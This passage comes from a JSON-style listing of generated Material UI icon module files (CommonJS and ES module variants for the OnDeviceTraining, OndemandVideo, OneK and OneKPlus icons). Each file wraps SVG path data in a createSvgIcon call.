/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 15.95c.62-.83.99-1.84.99-2.95s-.37-2.12-.99-2.95l-1.07 1.07c.35.54.56 1.19.56 1.88s-.21 1.34-.56 1.88zm-6.95-1.07c-.35-.54-.56-1.19-.56-1.88 0-1.93 1.57-3.5 3.5-3.5v1.25l2.25-2-2.25-2V8c-2.76 0-5 2.24-5 5 0 1.11.37 2.12.99 2.95z\"\n}, \"2\")], 'OnDeviceTraining');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnDeviceTraining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16h2v1h-2zm1-5c-1.1 0-2 .9-2 2 0 .74.4 1.38 1 1.72v.78h2v-.78c.6-.35 1-.98 1-1.72 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1.01 6 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M18 18H6V6h12z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 15.95c.62-.83.99-1.84.99-2.95s-.37-2.12-.99-2.95l-1.07 1.07c.35.54.56 1.19.56 1.88s-.21 1.34-.56 1.88zm-6.95-1.07c-.35-.54-.56-1.19-.56-1.88 0-1.93 1.57-3.5 3.5-3.5v1.25l2.25-2-2.25-2V8c-2.76 0-5 2.24-5 5 0 1.11.37 2.12.99 2.95z\"\n}, \"2\")], 'OnDeviceTraining');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnDeviceTrainingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16h2v1h-2zm1-5c-1.1 0-2 .9-2 2 0 .74.4 1.38 1 1.72v.78h2v-.78c.6-.35 1-.98 1-1.72 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1.01 6 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M18 21H6v-1h12zm0-3H6V6h12zm0-14H6V3h12z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 15.95c.62-.83.99-1.84.99-2.95s-.37-2.12-.99-2.95l-1.07 1.07c.35.54.56 1.19.56 1.88s-.21 1.34-.56 1.88zm-6.95-1.07c-.35-.54-.56-1.19-.56-1.88 0-1.93 1.57-3.5 3.5-3.5v1.25l2.25-2-2.25-2V8c-2.76 0-5 2.24-5 5 0 1.11.37 2.12.99 2.95z\"\n}, \"2\")], 'OnDeviceTrainingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnDeviceTrainingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16h2v1h-2zm1-5c-1.1 0-2 .9-2 2 0 .74.4 1.38 1 1.72v.78h2v-.78c.6-.35 1-.98 1-1.72 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1.01 6 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M18 21H6v-1h12zm0-3H6V6h12zm0-14H6V3h12z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 15.95c.62-.83.99-1.84.99-2.95s-.37-2.12-.99-2.95l-1.07 1.07c.35.54.56 1.19.56 1.88s-.21 1.34-.56 1.88zm-6.95-1.07c-.35-.54-.56-1.19-.56-1.88 0-1.93 1.57-3.5 3.5-3.5v1.25l2.25-2-2.25-2V8c-2.76 0-5 2.24-5 5 0 1.11.37 2.12.99 2.95z\"\n}, \"2\")], 'OnDeviceTrainingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnDeviceTrainingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 17h1c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5m.02-5.94c-.71.16-1.29.74-1.46 1.44-.23.94.21 1.8.94 2.22v.53c0 .14.11.25.25.25h1.5c.14 0 .25-.11.25-.25v-.53c.6-.35 1-.98 1-1.72 0-1.26-1.17-2.25-2.48-1.94\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1.01 6 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M18 18H6V6h12z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.33 15.27c.36.36.99.26 1.21-.2.29-.63.46-1.33.46-2.07s-.17-1.44-.46-2.07c-.22-.47-.84-.57-1.21-.2-.22.22-.28.56-.15.84.2.44.31.92.31 1.43s-.11.99-.31 1.43c-.12.29-.07.62.15.84m-6.66 0c.22-.22.28-.56.15-.84-.21-.44-.32-.92-.32-1.43 0-1.93 1.57-3.5 3.5-3.5v.69c0 .22.25.33.42.19l1.62-1.44c.11-.1.11-.27 0-.37l-1.62-1.44c-.17-.15-.42-.04-.42.18V8c-2.76 0-5 2.24-5 5 0 .74.17 1.44.46 2.07.22.47.84.57 1.21.2\"\n}, \"2\")], 'OnDeviceTrainingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnDeviceTrainingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 17h1c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5m.02-5.94c-.71.16-1.29.74-1.46 1.44-.23.94.21 1.8.94 2.22v.53c0 .14.11.25.25.25h1.5c.14 0 .25-.11.25-.25v-.53c.6-.35 1-.98 1-1.72 0-1.26-1.17-2.25-2.48-1.94\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1.01 6 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M18 18H6V6h12z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.33 15.27c.36.36.99.26 1.21-.2.29-.63.46-1.33.46-2.07s-.17-1.44-.46-2.07c-.22-.47-.84-.57-1.21-.2-.22.22-.28.56-.15.84.2.44.31.92.31 1.43s-.11.99-.31 1.43c-.12.29-.07.62.15.84m-6.66 0c.22-.22.28-.56.15-.84-.21-.44-.32-.92-.32-1.43 0-1.93 1.57-3.5 3.5-3.5v.69c0 .22.25.33.42.19l1.62-1.44c.11-.1.11-.27 0-.37l-1.62-1.44c-.17-.15-.42-.04-.42.18V8c-2.76 0-5 2.24-5 5 0 .74.17 1.44.46 2.07.22.47.84.57 1.21.2\"\n}, \"2\")], 'OnDeviceTrainingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnDeviceTrainingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16h2v1h-2zm1-5c-1.1 0-2 .9-2 2 0 .74.4 1.38 1 1.72v.78h2v-.78c.6-.35 1-.98 1-1.72 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1.01 4 1v22h16zM18 18H6V6h12z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 15.95c.62-.83.99-1.84.99-2.95s-.37-2.12-.99-2.95l-1.07 1.07c.35.54.56 1.19.56 1.88s-.21 1.34-.56 1.88zm-6.95-1.07c-.35-.54-.56-1.19-.56-1.88 0-1.93 1.57-3.5 3.5-3.5v1.25l2.25-2-2.25-2V8c-2.76 0-5 2.24-5 5 0 1.11.37 2.12.99 2.95z\"\n}, \"2\")], 'OnDeviceTrainingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnDeviceTrainingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16h2v1h-2zm1-5c-1.1 0-2 .9-2 2 0 .74.4 1.38 1 1.72v.78h2v-.78c.6-.35 1-.98 1-1.72 0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1.01 4 1v22h16zM18 18H6V6h12z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 15.95c.62-.83.99-1.84.99-2.95s-.37-2.12-.99-2.95l-1.07 1.07c.35.54.56 1.19.56 1.88s-.21 1.34-.56 1.88zm-6.95-1.07c-.35-.54-.56-1.19-.56-1.88 0-1.93 1.57-3.5 3.5-3.5v1.25l2.25-2-2.25-2V8c-2.76 0-5 2.24-5 5 0 1.11.37 2.12.99 2.95z\"\n}, \"2\")], 'OnDeviceTrainingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnDeviceTrainingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20h12v1H6zM6 3h12v1H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16h2v1h-2zm1-5c-1.1 0-2 .9-2 2 0 .74.4 1.38 1 1.72v.78h2v-.78c.6-.35 1-.98 1-1.72 0-1.1-.9-2-2-2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1.01 6 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M18 21H6v-1h12zm0-3H6V6h12zm0-14H6V3h12z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 15.95c.62-.83.99-1.84.99-2.95s-.37-2.12-.99-2.95l-1.07 1.07c.35.54.56 1.19.56 1.88s-.21 1.34-.56 1.88zm-6.95-1.07c-.35-.54-.56-1.19-.56-1.88 0-1.93 1.57-3.5 3.5-3.5v1.25l2.25-2-2.25-2V8c-2.76 0-5 2.24-5 5 0 1.11.37 2.12.99 2.95z\"\n}, \"3\")], 'OnDeviceTrainingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnDeviceTrainingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20h12v1H6zM6 3h12v1H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16h2v1h-2zm1-5c-1.1 0-2 .9-2 2 0 .74.4 1.38 1 1.72v.78h2v-.78c.6-.35 1-.98 1-1.72 0-1.1-.9-2-2-2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1.01 6 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M18 21H6v-1h12zm0-3H6V6h12zm0-14H6V3h12z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 15.95c.62-.83.99-1.84.99-2.95s-.37-2.12-.99-2.95l-1.07 1.07c.35.54.56 1.19.56 1.88s-.21 1.34-.56 1.88zm-6.95-1.07c-.35-.54-.56-1.19-.56-1.88 0-1.93 1.57-3.5 3.5-3.5v1.25l2.25-2-2.25-2V8c-2.76 0-5 2.24-5 5 0 1.11.37 2.12.99 2.95z\"\n}, \"3\")], 'OnDeviceTrainingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OndemandVideo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18zm-5-6-7 4V7z\"\n}), 'OndemandVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/OndemandVideo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18zm-5-6-7 4V7z\"\n}), 'OndemandVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/OndemandVideoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7v8l7-4zm12-4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 14H3V5h18z\"\n}), 'OndemandVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OndemandVideoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7v8l7-4zm12-4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 14H3V5h18z\"\n}), 'OndemandVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OndemandVideoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1m-5.52-5.13-3.98 2.28c-.67.38-1.5-.11-1.5-.87V8.72c0-.77.83-1.25 1.5-.87l3.98 2.28c.67.39.67 1.35 0 1.74\"\n}), 'OndemandVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OndemandVideoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1m-5.52-5.13-3.98 2.28c-.67.38-1.5-.11-1.5-.87V8.72c0-.77.83-1.25 1.5-.87l3.98 2.28c.67.39.67 1.35 0 1.74\"\n}), 'OndemandVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OndemandVideoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h6.99zm-2 14H3V5h18zm-5-6-7 4V7z\"\n}), 'OndemandVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OndemandVideoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h6.99zm-2 14H3V5h18zm-5-6-7 4V7z\"\n}), 'OndemandVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OndemandVideoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17h18V5H3zM9 7l7 4-7 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7v8l7-4zm12-4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 14H3V5h18z\"\n}, \"1\")], 'OndemandVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OndemandVideoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17h18V5H3zM9 7l7 4-7 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7v8l7-4zm12-4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 14H3V5h18z\"\n}, \"1\")], 'OndemandVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneK.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.5 12H9v-4.5H7.5V9h3zm7 0h-1.75L14 12.75V15h-1.5V9H14v2.25L15.75 9h1.75l-2.25 3z\"\n}), 'OneK');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneK.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.5 12H9v-4.5H7.5V9h3zm7 0h-1.75L14 12.75V15h-1.5V9H14v2.25L15.75 9h1.75l-2.25 3z\"\n}), 'OneK');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 15H10V9H7v1.5h1.5zm5-2.25L15.25 15H17l-2.25-3L17 9h-1.75l-1.75 2.25V9H12v6h1.5z\"\n}, \"1\")], 'OneKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 15H10V9H7v1.5h1.5zm5-2.25L15.25 15H17l-2.25-3L17 9h-1.75l-1.75 2.25V9H12v6h1.5z\"\n}, \"1\")], 'OneKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKPlus.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 15H7.5v-4.5H6V9h3zm4.75 0L12 12.75V15h-1.5V9H12v2.25L13.75 9h1.75l-2.25 3 2.25 3zm5.75-2.5H18V14h-1v-1.5h-1.5v-1H17V10h1v1.5h1.5z\"\n}), 'OneKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKPlus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 15H7.5v-4.5H6V9h3zm4.75 0L12 12.75V15h-1.5V9H12v2.25L13.75 9h1.75l-2.25 3 2.25 3zm5.75-2.5H18V14h-1v-1.5h-1.5v-1H17V10h1v1.5h1.5z\"\n}), 'OneKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKPlusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 15H9V9H6v1.5h1.5zm4.5-2.25L13.75 15h1.75l-2.25-3 2.25-3h-1.75L12 11.25V9h-1.5v6H12z\"\n}, \"1\")], 'OneKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKPlusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 15H9V9H6v1.5h1.5zm4.5-2.25L13.75 15h1.75l-2.25-3 2.25-3h-1.75L12 11.25V9h-1.5v6H12z\"\n}, \"1\")], 'OneKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKPlusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8.25 15c-.41 0-.75-.34-.75-.75V10.5h-.75c-.41 0-.75-.34-.75-.75S6.34 9 6.75 9H8c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75m5.29-.27L12 12.75v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.4 0 .71.31.71.7v1.55l1.54-1.98c.13-.17.34-.27.55-.27.58 0 .91.66.56 1.12L13.25 